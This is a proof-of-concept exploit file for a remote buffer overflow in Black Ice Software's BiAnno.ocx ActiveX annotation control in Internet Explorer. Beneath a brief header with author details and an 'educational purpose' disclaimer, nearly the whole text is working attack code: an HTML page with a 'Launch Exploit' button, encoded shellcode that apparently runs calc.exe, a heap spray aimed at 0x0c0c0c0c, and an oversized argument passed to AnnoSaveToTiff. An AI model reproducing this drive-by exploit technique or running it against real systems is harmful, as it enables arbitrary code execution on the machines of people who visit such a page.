blackicebianno-overflow.txt

`--------------------------------------------------------------------------  
Black Ice Software Annotation Plugin (BiAnno.ocx) Remote Buffer Overflow  
url: http://www.blackice.com  
  
File : BiAnno.ocx  
Ver. : 10.9.5.0  
CLSID: {B27DC3CE-FF81-4DCF-9B80-0E69D61BED2A}  
  
Mark.: RegKey Safe for Script: True  
RegKey Safe for Init: True  
Implements IObjectSafety: False  
  
Author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
  
Windows XP Professional SP3 fully patched, with Internet Explorer 7  
Windows 2k Professional SP4 fully patched, with Internet Explorer 6  
  
In memory of rgod  
--------------------------------------------------------------------------  
<object id=boom classid="clsid:B27DC3CE-FF81-4DCF-9B80-0E69D61BED2A"></object>  
  
<input language=JavaScript onclick=tryMe() type=button value="Launch Exploit">  
  
<script>  
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
"%u652E%u6578%u9000");  
  
var spraySlide = unescape("%u9090%u9090");  
var heapSprayToAddress = 0x0c0c0c0c;  
  
function tryMe()  
{  
var size_buff = 666;  
var x = unescape("%0c%0c%0c%0c");  
while (x.length<size_buff) x += x;  
x = x.substring(0,size_buff);  
  
boom.AnnoSaveToTiff(x, 1);  
}  
  
function getSpraySlide(spraySlide, spraySlideSize)  
{  
while (spraySlide.length*2<spraySlideSize)  
{  
spraySlide += spraySlide;  
}  
spraySlide = spraySlide.substring(0,spraySlideSize/2);  
return (spraySlide);  
}  
  
var heapBlockSize = 0x100000;  
var SizeOfHeapDataMoreover = 0x5;  
var payLoadSize = (shellcode.length * 2);  
  
var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);  
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;  
  
var memory = new Array();  
spraySlide = getSpraySlide(spraySlide,spraySlideSize);  
  
for (i=0;i<heapBlocks;i++)  
{  
memory[i] = spraySlide + shellcode;  
}  
</script>  
`